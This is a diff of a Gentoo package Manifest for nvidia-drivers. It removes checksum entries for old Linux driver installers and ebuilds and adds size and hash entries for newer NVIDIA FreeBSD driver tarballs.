-DIST NVIDIA-Linux-x86-304.88.run 39682604 SHA256 71e10294f073e31a387da4282b95cdde5fbfc996cb1c564f290eb0df1289b7cb SHA512 ba6f0236aead2f5161c94c7eaffb2497815ba1a7cbf872ae37d620d66533d4847acb6dfcc230e2b751aa9717ae552940ed6d3da1a9209aa54f6a810e3f551e49 WHIRLPOOL 9c2e0438630e86ca8c7aa2f26928113e5f15dcf808be8a4c2e937fd04b8d1aa7304bda714580834cc5ef4dc57304f41be62b55ee75545b9cfca3533b6db737e6
-DIST NVIDIA-Linux-x86-310.19.run 38581112 SHA256 85d082c06a1ea07f514d22c0de4d5d2af065bcac37c377c3d755904bbf780c2f SHA512 ef24e695b76b57cee1d13601c5856fe723da9da678e0f78739f0e291c5d00cea9e0da5b110f4125a79edd420127fed0a48883eaad591ed16e6660b139b7cb289 WHIRLPOOL 064bf26184b644210f565ad9b1b400abb26b9c8b61b519d2831ce04128fcc58c57e9474bb2ec5f3d935799857a1ca4c3273b68a36aca1d2285318f2679251f5e
-DIST NVIDIA-Linux-x86-313.18.run 38865783 SHA256 58e5e2191890ace94849444f5d2de4c2921dfe02cd97825d81a128754ff4488f SHA512 70ec92071de3aabe77ee5304a4c2c1b7eda0e2b44860f63b05c8c004aaf748c18b40e5f7558dd6bcb99e1e394557a2c189ca462400fdde28aee408a64b8b7e27 WHIRLPOOL 3f6506e17414a78d4dc7a69e52e34d5172529d061dd8aa7b7e31066281525a0cbfefd846b2bfdb21820ed3c6a0c1348fae4e0d7d21c82d6633e284f5a0dfbd52
-DIST NVIDIA-Linux-x86-313.30.run 38845860 SHA256 0a0f10979b1bca8e4a244e204b58aeb9a580924a9dd7b11b21d15abfe1ad49ad SHA512 c3b07e7186fcf5a1f3e73f4e9510dddff2a42c0202bc471a946e38e636af27b2d17206b7105a7a80179fc17ebceab6c2802ff6ddaabae9e16a930dfa1252a2db WHIRLPOOL 2d4402883a480ae3050af18f3fe1aec4110132aa4eda0ce9675f79471a526e8b90b9ebe6a0a5c76321474be6ace963520b903cf809835472649b095be757ec52
-DIST NVIDIA-Linux-x86-325.15.run 27409286 SHA256 3d790e4bfed24641f7cc76879144ab5d52b12271012ba381b0d33aa1a2e08775 SHA512 48052c3daa8748a7c43de1c24e00fdd3f94cebbe7f5efbb185a0472a1d0bbab8adfe377359ccdc6cd8e437a80506fdd551408237b0842c194a3497c43cf3487e WHIRLPOOL 387fb8af1a31cc295abe7b15fee7d5bc01c515603b178abe7f50864dbbf0685ca50f88e67359adc4af8e90caaeb1fba95aa6af9f54e6fced46c82c5cfc094390
-DIST NVIDIA-Linux-x86-96.43.20-pkg0.run 10323541 SHA256 bc778062cf745ee4916de77a702f702312d33eeb3b6f379b63e4366fa5197517
-DIST NVIDIA-Linux-x86_64-173.14.31-pkg2.run 18967067 SHA256 c56cfe43c4fa95102d099e4f1c4e75e58b57d73b4b36a858d54a2a339aad56d9 SHA512 fcb3f004495c8e3ef93b4229b2b64e8ee83a12f2cc5ba1c33bf486b6bf8687e1e1d5b45c2da8721422f6c2190150f7f86bd4b9ec0987d4440343fafb9e18c208 WHIRLPOOL 585728e3d03b1a9cf90fd80c413f2dd432870f49df60bd1335ec0c7143b59005819b4fd655587b0f76d19c28eaa946d6893c4358b8ec7e33000486429684cd1f
-DIST NVIDIA-Linux-x86_64-173.14.34-pkg2.run 19769116 SHA256 30dcdd3cfba4f7d2b5f4977faea573463700b44252e46fb43402e269183dec3e
-DIST NVIDIA-Linux-x86_64-173.14.35-pkg2.run 19767039 SHA256 5af64646b098021b550242fe8eb03817f862af0442023545d1295027f589595f
-DIST NVIDIA-Linux-x86_64-275.09.07.run 51646025 SHA256 747c09b0a0a8d60e1b5fee49fb1ea07ee5812f8e85a87b2403011af6de58164d
-DIST NVIDIA-Linux-x86_64-280.13.run 55011572 SHA256 98a08c7d943912a178a9bbe419db60634088e5262ae9053bf2fe730984e5a012
-DIST NVIDIA-Linux-x86_64-285.05.09.run 56674677 SHA256 7159a1f7e898b50dd49ea2273ac6facb870546ad5496bf70c6fbe1642d2c4970
-DIST NVIDIA-Linux-x86_64-290.10.run 58334192 SHA256 34a2ab07f4ae7afdeb2c8415f3f37c1099e6690eb25f3dbef92eca771f7ce4cd
-DIST NVIDIA-Linux-x86_64-295.20.run 58403208 SHA256 3b84fdeae335c047193f68a1da26f2a736461c35cfe94566fc7ace1e5762d34c
-DIST NVIDIA-Linux-x86_64-295.33.run 58435170 SHA256 4e939bac1ebc03c6439969d638540b99900b0fe4e4799b4186e5ff9521d37b73
-DIST NVIDIA-Linux-x86_64-295.40.run 58446405 SHA256 f6d5ae338b3b8ac6c512d06b335010934a62728f181a1fa5253aa84b7bf45e7a
-DIST NVIDIA-Linux-x86_64-295.49.run 58521195 SHA256 61dc9623ea1981f801d97de7c67c32b7e4f7ef4aaa6744910967cb634d9ace62
-DIST NVIDIA-Linux-x86_64-295.53.run 58522001 SHA256 4525e994a0d0a8cd776415401423e7de3985923637642955c3fe50a3d047d4ca
-DIST NVIDIA-Linux-x86_64-295.59.run 58529480 SHA256 4b1d96389abd2b804ad470c5189142a02ee4c82c1ac56cea37ecb45e8051313e
-DIST NVIDIA-Linux-x86_64-302.17.run 58653717 SHA256 5cf9059ebb70ade99e5621c0a605ed5bbb6c274f7c52a7ef40342ceb41b381fc
-DIST NVIDIA-Linux-x86_64-304.22.run 60141600 SHA256 4c1b6f7dcda007622bb5e243b858abdb3881d5d5befdc617b23393545d9c96fd SHA512 06dac9e042baa836b1f2d9cd360b2ca3545dcff4b382ed9d29e8e442ab5e9dc241b5f75250c3dce73e0e7958bccaa16ac48415ae5f2fc7cbc65689bd7a6e7640 WHIRLPOOL a7d1a1abe5cdedc743b43fa1627dc9094ab32cea3645cdd5cfd53a33929d0a48f4d3efaa7311ff6f0ba99d31a112e6872cb4cad3d1cafbd996646020d8dd7f40
-DIST NVIDIA-Linux-x86_64-304.37.run 64075318 SHA256 cae75158047d0b97ea48f269fd2903a6731f53b978a1065720343436c97ca9c2
-DIST NVIDIA-Linux-x86_64-304.64.run 67695715 SHA256 b3c3bb7f136ccd978c9c5a511a02199ec2498c4243baae19ac68e5d905ca5340 SHA512 77241676900bf5f9fa93f5628ae9c5ffc35c41de31fbb9e777e55204cd1183d344d7ad5d00e52efe5caa91330f6157d9d2cba66764256673dbfbe61fe6797de3 WHIRLPOOL a8744fb747569e5106d486200231f0caf99ac3896b8cc358ea581486cf98506ed21b54407665acb461c40fcd89cfa04ac540b6c959856aaf14979abce75999d1
-DIST NVIDIA-Linux-x86_64-304.88.run 68041437 SHA256 c1a73211566b085214b0ad1824733aa56d09c6139f729feebd0eff44f6113da3 SHA512 8a907f9ed307b1e4b5563a9aba9d6c1c036885cd64a4a229d6831eb7a855921971e652b7940333e366d5088f97cf3596fb739853b3c3cf94446ee0cea6164ab2 WHIRLPOOL 2e43479bb52d1dcbe1007cda779ab21ed064883769358a09bdd765e55f6b35a855a51006e070d33ddd2a3808802cdb4fa2ae63cc7cc189561934d00574492ca8
-DIST NVIDIA-Linux-x86_64-310.19.run 68022245 SHA256 3326cf9eb432a10fee5cb663132cd6c175813d0225750ef237dcc7feefd20fca SHA512 035a0cb62f4d307683ada7fff380fbe8a9433cee0ee6a8b1986e9d59b55a23484305903f84e77fb6a7440e06efce012feae1da658a304e790e2022c028541a69 WHIRLPOOL 523a9ca07d18cfa1afb1f4e527cecf1c4778650eaa81d1e627fd1c65b4ab459d02e5ce726d0190c57e677c6ef3c22afef8c6aaa99892731faf3415138e9e7635
-DIST NVIDIA-Linux-x86_64-313.18.run 68386461 SHA256 9aaf6ce2fb08f72b2ab4f7a2d9fc5af8216ac263fa4883deec3844f34ea7ba3a SHA512 d1017763f6cef96a443f9d7890ca940d742cd17fb8b1d926440483987e22d350a57bcce98962d6130c5e2ac697926dbb560f148f45ba7659ff3412443b53473c WHIRLPOOL 0180fff2e5e7bd9fb731fdee3c81e1b26a7962d989e998dc9fa67e4a836526e10e6de01cfc1e6650d9ff4a5cc334b5c27740df309b3dd403dfd13795c48d6f29
-DIST NVIDIA-Linux-x86_64-313.30.run 68379307 SHA256 72317f2e4c459c33c764e3283deb3e1615b1852ead1f9bfad82148e120506022 SHA512 ae4439697e47eff98e06e5f77de979bdce096f95efa8bdee9c6fc939b42b5ce3b11c23d7691e974cf0f6f783eeb0fb694670636538352a0e8979f88d687f1f86 WHIRLPOOL c12a68fcc4d78f3856d87a86cef43c3632c0db1b6c5799b6482584d4d83a7cc863b9b394a501b96534175e11663c602d72f6ffa49f85461eaf4324dc61e654ff
-DIST NVIDIA-Linux-x86_64-325.15.run 48034648 SHA256 01446fbd94f6eb3b2e1b3d3f2b06970bf470c3ee2cb1838b3d0c2416e6c74500 SHA512 323cbd8e6f3ce29a1556b83b2fb3456f919964ede1cbee4ddaa3539ab75eda7abe26b96ba500462eed2ade4163b8de20d1db6ea987af923710f0e1a60e432e83 WHIRLPOOL 7c05717a2cfcb003a8c1f9fc5f5e24cfd5216aca7167ee8f29b60c43262fc61afab9619147ee07cb2541aa1d55b13a730b52c90979b7970df709fb659fe782ff
-DIST NVIDIA-Linux-x86_64-96.43.20-pkg2.run 14572507 SHA256 562107a262e250b836966e29851628f6162ee2857d53252221c780d9b201de18
-EBUILD nvidia-drivers-173.14.31.ebuild 5562 SHA256 b159128f017cdb21513d46a76dfa6500ef0db483caa3d614a28bdaa51f083398 SHA512 c34ef34d443f31bb02b41e809c6414359882684cb5ed3ae9e484feb421a254d2edfbf8763dd7008534babd5440f33f0ded61400d1975314e9beadfa50ac34df5 WHIRLPOOL efb4fbf62503500710c3ad768be155cb136172687af5c5f9a04d089c670e7435e90397dd80e74de1393358b2a7e957658735e50b3824829ed71dee9f3e116bc6
-EBUILD nvidia-drivers-173.14.34.ebuild 5822 SHA256 5ebfe7996d5ff32b05f1cfcfc7ec97d6b5e8c9853861f3b4c6e32677b93da15d SHA512 5f72430412008986d5597e0f25c415be81c80d7507a194c748a8341076e878bb6f40b24ece667e92cfcd2dab00b22d91ff85508d5a31678926a07fc1dc0598b8 WHIRLPOOL 3840deaeb534b10bb9a1155fe8395c96366e995390ade2d20cc712705740b9f2d5eaaa81e0aff197d10c98851ab2e2408d3fdfd21e602ca504ab13dffd5e6ca8
-EBUILD nvidia-drivers-173.14.35.ebuild 5822 SHA256 5ebfe7996d5ff32b05f1cfcfc7ec97d6b5e8c9853861f3b4c6e32677b93da15d SHA512 5f72430412008986d5597e0f25c415be81c80d7507a194c748a8341076e878bb6f40b24ece667e92cfcd2dab00b22d91ff85508d5a31678926a07fc1dc0598b8 WHIRLPOOL 3840deaeb534b10bb9a1155fe8395c96366e995390ade2d20cc712705740b9f2d5eaaa81e0aff197d10c98851ab2e2408d3fdfd21e602ca504ab13dffd5e6ca8
-EBUILD nvidia-drivers-275.09.07.ebuild 5459 SHA256 d6f5fbf5c6da10e99f622d69d9f8bb1b612160dc238839ba77bfb078b4e89ae9 SHA512 8b228d2175740bc6ecec275985059816111f16c1cd3528c90d62fcf1364e56fad8787924d35b51d7a080b40a6b6ce714cb8b85dfa46ff857028c208f2e7c9ad7 WHIRLPOOL d029d3d0549c7bcb16f6f0712366ccc406f8a1bed8987b6dbf56f010c87776d8c6693c2f891487dc1b023f45bfd11777a1d4d969a83aff079e92c610c64d0a9f
-EBUILD nvidia-drivers-280.13.ebuild 5533 SHA256 608ad531cc444b4fde265af01834d9c72d836c92c34a0441fc42608f1b42ac6d SHA512 d6371d637c4057f514d6afb6519b9b4d988ac005101d7b57029634c7c87c32656b73d11f54a95966d4d8255ab6da5c1b7969d745d13884361a43fbe759c74b64 WHIRLPOOL 0f0d236a07929d7e8daa531c720b015f00f283b75c3d9846dd31e801c2beef5deb5b3fc0acdc183953adbcb68f6a265c272d253b197938e4372c320e6fd0b46d
-EBUILD nvidia-drivers-285.05.09.ebuild 5459 SHA256 d6f5fbf5c6da10e99f622d69d9f8bb1b612160dc238839ba77bfb078b4e89ae9 SHA512 8b228d2175740bc6ecec275985059816111f16c1cd3528c90d62fcf1364e56fad8787924d35b51d7a080b40a6b6ce714cb8b85dfa46ff857028c208f2e7c9ad7 WHIRLPOOL d029d3d0549c7bcb16f6f0712366ccc406f8a1bed8987b6dbf56f010c87776d8c6693c2f891487dc1b023f45bfd11777a1d4d969a83aff079e92c610c64d0a9f
-EBUILD nvidia-drivers-290.10.ebuild 5542 SHA256 c541fd027041539c16214b10e5e3ebd103b7a1487bf57aefa7a0842ed862acfc SHA512 18e5169d8f46028547af0b17391cef60295e2a0782fc7f94f549b9801d8445214d2aa7af570c608b98081faa75a446c3f2a6c6846b03c9101c45507e1461e983 WHIRLPOOL 41da7159daa32e57658e0675f9d0c5fdf26ae578dfaac799bdff55611f54d8800cd17b2ade5b2cebc514ad9775de6d51a7578c36191fdf5cccd4d315602fdf0c
-EBUILD nvidia-drivers-295.20.ebuild 5459 SHA256 d6f5fbf5c6da10e99f622d69d9f8bb1b612160dc238839ba77bfb078b4e89ae9 SHA512 8b228d2175740bc6ecec275985059816111f16c1cd3528c90d62fcf1364e56fad8787924d35b51d7a080b40a6b6ce714cb8b85dfa46ff857028c208f2e7c9ad7 WHIRLPOOL d029d3d0549c7bcb16f6f0712366ccc406f8a1bed8987b6dbf56f010c87776d8c6693c2f891487dc1b023f45bfd11777a1d4d969a83aff079e92c610c64d0a9f
-EBUILD nvidia-drivers-295.33.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
-EBUILD nvidia-drivers-295.40.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
-EBUILD nvidia-drivers-295.49.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
-EBUILD nvidia-drivers-295.53.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
-EBUILD nvidia-drivers-295.59.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
-EBUILD nvidia-drivers-302.17.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
-EBUILD nvidia-drivers-304.22.ebuild 5699 SHA256 3c9ddccc632ce94f53f26b0211b4c0c0b4c24182262ab015ded84d562009c33b SHA512 76aba3c4b55a6ccfe815a3cd9ec2873da9328aaac282428839cdab5d133f878d3172c457338d6b0906e294e20ddf1bb3e8663fbdcc3370cdb3a43fab8cf13ad1 WHIRLPOOL cff6e71156996dab3876f39f3d089786cb35fdb61718adb9d923f9f04b00f4244107ed4f4a1aff776c9d9a2a2eb2bf73181dd58e0eb21002918140aa6feb0ac8
-EBUILD nvidia-drivers-304.37.ebuild 5194 SHA256 9a59cc5bedb79f5eeac96fe9aee931eee160fb1eb2e1c8f581d363b135212ca1 SHA512 ade6904be753f54e6f7d11c7101040826b8d1358d5232c88ec7f7bccc7266f0d98abb97097b35e57743a9b5bb6ade15c9736484a226540cd2c0d370a612eaaf9 WHIRLPOOL 1577089a20d3e65bd160170e12bbe562e71e923e18aa9d59c59183866f8810fafd0d326f4bd427031383c90c989c10ab3af85ce0427cd4b6a851bc4d9ed9ed59
-EBUILD nvidia-drivers-304.64.ebuild 12742 SHA256 bae8fe02ef6129f3015c37d976a6812529ca402d34dc17eec4f51f32d8e8d991 SHA512 b2d769d594f39ae0a8afa70f3113b7f4a755925e536fdc2b44c4313059e1eed74146844acf93bbb05da481272d1be897c977726d500cb395b92f796ef39effc8 WHIRLPOOL 9cec9dfa9056512bf4b9e7297cf28e49e3688bc97616dfe62bcb35e0aff84829bdd5213c6e779510e83a5e4a00d493737648f944519b7b7dc18dd58eb9bd325d
-EBUILD nvidia-drivers-304.88.ebuild 5534 SHA256 a5f3fc0447e44ef665327e6c6f81fd5c6e42b411307ba16f5c162c49b59ed770 SHA512 7b4abd4e2b14bb775ff9439b771d910a0fbc5fa542cee5cf06dea09d3567c3a2caea2d05738937842a322d050d4e3e43850b586f0dad3cea1670c2abccd13070 WHIRLPOOL 31cf94b729e6fa89a5c906b54c99f13fd2f4c7460c625f72935978654b324f03a4b1c4d67358d9898c855c43d8450964a059ec0da3dcb6d7345c431383805146
-EBUILD nvidia-drivers-310.19.ebuild 5194 SHA256 9a59cc5bedb79f5eeac96fe9aee931eee160fb1eb2e1c8f581d363b135212ca1 SHA512 ade6904be753f54e6f7d11c7101040826b8d1358d5232c88ec7f7bccc7266f0d98abb97097b35e57743a9b5bb6ade15c9736484a226540cd2c0d370a612eaaf9 WHIRLPOOL 1577089a20d3e65bd160170e12bbe562e71e923e18aa9d59c59183866f8810fafd0d326f4bd427031383c90c989c10ab3af85ce0427cd4b6a851bc4d9ed9ed59
-EBUILD nvidia-drivers-313.18.ebuild 12331 SHA256 bac39af82126d68e14a6ee565283fa44c9e01e8266a712ca96a959c552af4cf1 SHA512 800513f01ba2724f9d463b30731b4dd43bb032a1a344857feceebf7f5b9a49455e7fd08efe729902307771b235c018875a49216dc54216415423186ad9bd9b45 WHIRLPOOL e292caf68db2aa4c958a040e706dda09d1e0d70291989a712400905c1301f5b5801bac7519e950f0266e56f2e8dfe0360a0a1b8831ab11cdf1838ed7953c0a9d
-EBUILD nvidia-drivers-313.30.ebuild 5446 SHA256 8006292fb618edc9830e2374af58e409ab0a1fa4e8a7efd46196f72651e28b2a SHA512 da272cc2007ddebcd9a6f1e28625023766052a9656c313a694f7a8d2c903bc13a93e32ee56fc515117d1a4c6d5b96bb900f311dd1d9a02c433852d153d9b5cae WHIRLPOOL 9d3e7eaf35aefac774ef5d5b0d32aaa05359e9cf428c96e5e0df00774faf5bdf6eecee50319c0294d66b8120328dca426f79e3c2e4f921d2ce9976134a271c48
-EBUILD nvidia-drivers-325.15.ebuild 5519 SHA256 b22c16ffc827d78f70817ba80486ad395489b10d35b8e05be2e741416ff5c393 SHA512 a815a04e9e1776a7e5282de03143c9cc474e747f2c23c048d72883d6b1cbac34500bebe13d2a7bf82c22c0f98fb926a674f34ca476e4b0317c690394380cc430 WHIRLPOOL c2fff2f946bfe5dc7da16c0bdb6f23cfda350e075688d9cbad4ab344b67b676c3b7488a73cff9cd0fac570d4a7ac726718dc689ca4bae4bce6224909a484cae1
-EBUILD nvidia-drivers-96.43.20.ebuild 5562 SHA256 b159128f017cdb21513d46a76dfa6500ef0db483caa3d614a28bdaa51f083398 SHA512 c34ef34d443f31bb02b41e809c6414359882684cb5ed3ae9e484feb421a254d2edfbf8763dd7008534babd5440f33f0ded61400d1975314e9beadfa50ac34df5 WHIRLPOOL efb4fbf62503500710c3ad768be155cb136172687af5c5f9a04d089c670e7435e90397dd80e74de1393358b2a7e957658735e50b3824829ed71dee9f3e116bc6
-MISC metadata.xml 340 SHA256 a8c83e426e095e92dc8d7553bde38172a3bb73717ec0469c78dba0a46f86194d SHA512 757fe60892996ee752008276a385ed2ba785837723beac28744e414d19e2312f956e300559519005ff3d465db2593e61804e6b7907e1faaf551d2633cf09c6aa WHIRLPOOL 483042f678dacfba03244f676d5b47035de23751c6cf306c87d0ff12856ca3dd8ce10bc826bdc90bcb1b9be8a673cc68fbe506998bac564f0a55d7bf64481fe8
+DIST NVIDIA-FreeBSD-x86-173.14.39.tar.gz 20038266 SHA256 63a922ce4c5b676b4cb1ace98094dace4cc5408f2553e183df7b2127777a238b SHA512 96982fe7e0751c52fbef534193de09d187b99c1984c05e791223eb804719d8b3ba72efd983f227661ded4b71569bdbb914f1f629ab73a8bc9b8172832ccf3ec6 WHIRLPOOL 21f5906f42adf0064c7a7f81ac8e323de488e6d36356ee42c31a15c31ebb64335d5e2cff0ff022d41de480f9e0a57b3b96387f17151c7b59eceba2c61a7a102b
+DIST NVIDIA-FreeBSD-x86-304.121.tar.gz 33977409 SHA256 980e613a5f969741f15ce8b87077c3b4343c72f2762613bf96237ba11d963ec0 SHA512 e031d7ce8f2db917a54792792901ce46d9a939bd818ed5167b5dabf58d102b54c687addfb083283db3091e54bdd71479dc4d87699be22abefe65662d93c4e49f WHIRLPOOL facc59cea0ff57819dafb9465b697d34b1f309ef7b4eae072b3af93ff64672845b747de57a77bb66fd62f224df4cad85b97efbd6ff79726ba51995abfe7f871a
+DIST NVIDIA-FreeBSD-x86-304.123.tar.gz 34160879 SHA256 7e4433364c5f42de6611b8cf722e0073eae6763a6664d6b9fd652ef05ebee24b SHA512 7b65ab3e99bfb9f95655c3d9124849bb830d12e43ff2d5297496c114dcdd68f738229ea244f95c53e1fc9d62d64ad3b2efb17eccac0fc2f280e8f226a9a47e7d WHIRLPOOL a33ef07363f336b01248434e4aae80bad0ce5d20985dca53484c63c4f39eae9d5b2e8cab1e08e20a8857aac8acd15ac42605a8e3af1fc3f11b8dc9d75914db09
+DIST NVIDIA-FreeBSD-x86-331.67.tar.gz 55876749 SHA256 0c88c363db516ef09b0027aacb1e686191d3d4676f44445bab2156c2197a6cae SHA512 0394aefbcd99a40e5cfc03a169bbf4bd8d34828cf2656ea49c560312e1cb7f575eeb32cd8dfe6f22a259e04efcf5183149846dee18b6ee254987f333fba82cba WHIRLPOOL 8b179600db7e8d1be476761ab0d5e6b5d10167e936044bf5de89115012bcdc0ecdd1ee7ed6da969261fe95f8b05c4b97a41343ed0ae2d283ff777d58971fbd7e
+DIST NVIDIA-FreeBSD-x86-337.19.tar.gz 57982032 SHA256 49cc3dd716b6d74a308ea307146d9952d048f717814d5bec7bf1cdab9237f4da SHA512 379c6b216e1cfe44cac81a40700d4f44c13b5b30b6144c78103429f16e203915ed83c486de13e7865d833fdb4638f7a117c05952790839b052958cecc7982c59 WHIRLPOOL 1d4be4d8693381ed8796c7bb38ed9a4055c24e11be5e201d7f9bab68c12f7ccc2ded2d69d8cd8ffabe5f6269464ed0c883e6f4290fa8f04f93666e3b04724921
+DIST NVIDIA-FreeBSD-x86-337.25.tar.gz 58137349 SHA256 9857b24b5d910fb8688a2b9e11039d88b70ec250e900149183454675a363e8db SHA512 0c85814061732bd09948b5fd203d5d3a1fd5df0e1c23f4af11e1cfae6f7d8c7d7f569f35398c2c5551abf7eb5ce357229fa9b16ce2c21799e96396cff3313777 WHIRLPOOL a7ca516e184334117e1cdd45b3f4c1b0a8c50281ffd1c3859865d877c2bfb20136c308b1ff09e4d64d0e7fef8eeddacab488d0bc30c98d82a9280572be5f0de0
+DIST NVIDIA-FreeBSD-x86-340.24.tar.gz 59001888 SHA256 43717bc70d138ac841c85befcc0475c9403354134d8a91529198a9b93951497a SHA512 a69f488d4c751e0f3307532579b386fc01538dc20a561c84fd01a22326a2a7af8a72f54c7e883b25f32a66b4f459ff65b870f0e9e74eae956a15076074665e60 WHIRLPOOL 0c2436d99bb5fa1b5d728781417c897f2f65bb78b517642c103fa67739b33a9f65d582063bdb000fd068a522bea48253b55aa843c88dbe914cd3f8dc19551a3b
+DIST NVIDIA-FreeBSD-x86-340.32.tar.gz 59021194 SHA256 ee4f34a279ae84b97373adbc8c91ab7d34eb52dd4a7b095d51d8592b3e264df8 SHA512 9b5eafa48ccb105fe978242096c99355a291314cacf7a232cb81292355dffac5496cdb8667fa4ad3f0f2286792bf0473f523535e3258bb3b0237c76dbf5ba837 WHIRLPOOL b9438f675f65ec0b55aa2c1ca8c3beb35d20f3c56837bbeb02d511b66d4bce825ba95852ecbca70f6f83ff53f23c98e1c0d2bd313d195426fea63baed27c1cce
+DIST NVIDIA-FreeBSD-x86_64-304.121.tar.gz 34946870 SHA256 91fd8f924b99682c59f96e1b4513f8d2c51985fff743c8a448861b536955e2e9 SHA512 890a20aa82d16197a5633c8128dac5a042e057aef3cb5d338daafd284960a9851201f9bec68a06c10a632704b7537d13079f0f539565962a1092dc7eec324b11 WHIRLPOOL 52128075de0d8e841c340dbe408aad6ee10fea41a0b203ffa82ad5a0bf836d7b348e3de6d516012507df64de561741a18d9205a1752b635ec6b049d0c29a3e48
+DIST NVIDIA-FreeBSD-x86_64-304.123.tar.gz 35144064 SHA256 32ea8ce22b4fe50f59782c390b8ec1d90bb44e02787255476f0304c60f11e877 SHA512 e12f55e2a303e8df628b3d7e5f2c80517cae4f6a146f20a3c10ab2d1147b4bc9386b678bbab9e519e28ea921832e1c855b4b8f4643c839717c5c97a833679b2a WHIRLPOOL 5d751bf72e1e089edcaab34d2ba8d413793a92c5a0d3601ff71285b458ad6aef4632481ece9f520f2006440d35b2eab3941e30f54d79351bc8da3ba12eaf3388
+DIST NVIDIA-FreeBSD-x86_64-331.67.tar.gz 46997728 SHA256 5781bba8b7783f96c1f239961140317426910633fbfa3ba80fdcefe54aec7e92 SHA512 1653c03e091451f14c040c2b56de8574e5fd5d7b24db6ce979f99693f6a10e61e6c28fb3a962288a135551664973bba6d2f29b92aff726a4ee592fddc807db4e WHIRLPOOL a97d473c786451c7cb88155edb12a86da5f2888a584da7538dae93056357d0c63f294d638f6949c7a6f8255c60c3db84fdbb28ce10cd6da4c82758f95eb90679
+DIST NVIDIA-FreeBSD-x86_64-337.19.tar.gz 58790725 SHA256 25a9092675ac666d5adabd03eb367febdd1d931ab2df278fd854fbdf1b19dccf SHA512 fc430507dc3a572b6867d4688d41878d0baece2eb39c626445ed640eb063ea286e63af22b1507986cca77b293abd091d49aee28a04eedc3d9ccbf9310dcaf945 WHIRLPOOL 3efeaada02fcc738a3623ec9e1615688ac74183d028c9dfd57a3d1397ff705a7d7e16399433ae1227e183511ab04ac710c0a978bc47c14df199d257f7267add4
+DIST NVIDIA-FreeBSD-x86_64-337.25.tar.gz 58941876 SHA256 189dc0f70528d0099d0396a52bf759af74d6a99203484be2d2d6514faf0d4161 SHA512 458c9200579a6caed02aabbc196ec998a0d19149cca665c5ef9bc709c018b991b27713c92d00bdd1ea6ddd86e04c641f387e1ec8a1235cc9581af9e7a3b19ebf WHIRLPOOL d819cf486edc443b1da39ea67582a12698b1dea1501f3b6738014a80f8a96260aa0ba30a9e2f1fac075f0f7d604dc94978f7f82092b40531dd4989a2954cc420
+DIST NVIDIA-FreeBSD-x86_64-340.24.tar.gz 59816713 SHA256 b05f406a887d6b96bc58b46338db43fffa8f702cf460a45adfbe1b90d96909d4 SHA512 6c789964f4b873c5404aeaf7ad742460217dc39719b3a3776639ddf53646495e72c155f8c2976f629297a3ec5bb22ae62e3a64eae423f482bd9338394e6f67a9 WHIRLPOOL b081ca26c0a8ebc07e2bef362b844ca165944741178ee6263c93704ef7c45748f3d9902eca6947688f0b5807a94aad04a8ec1ed0e6ae6053d741bc534fe7553f
+DIST NVIDIA-FreeBSD-x86_64-340.32.tar.gz 59836909 SHA256 4a55cbd4f87528d4d5b5a8809a8c6e2dac9ad22b0f8b357590893dfb39e52512 SHA512 ef333d94a147e04292d6e197ee72a7abfb10a84665931876455b689409af42ac713d1a16f965214a46d9dd28fd324769fa4dd14dde5caf20a8b23a9683b6c55e WHIRLPOOL 76fd78eb97b69d7a5d7dc46e06a8d7b4dc3fadc1f2c6995d86161ca90ce99ec4a0b42eedf09939a4436481bad33ef201f49c73c8add833cf912af86774d47b34
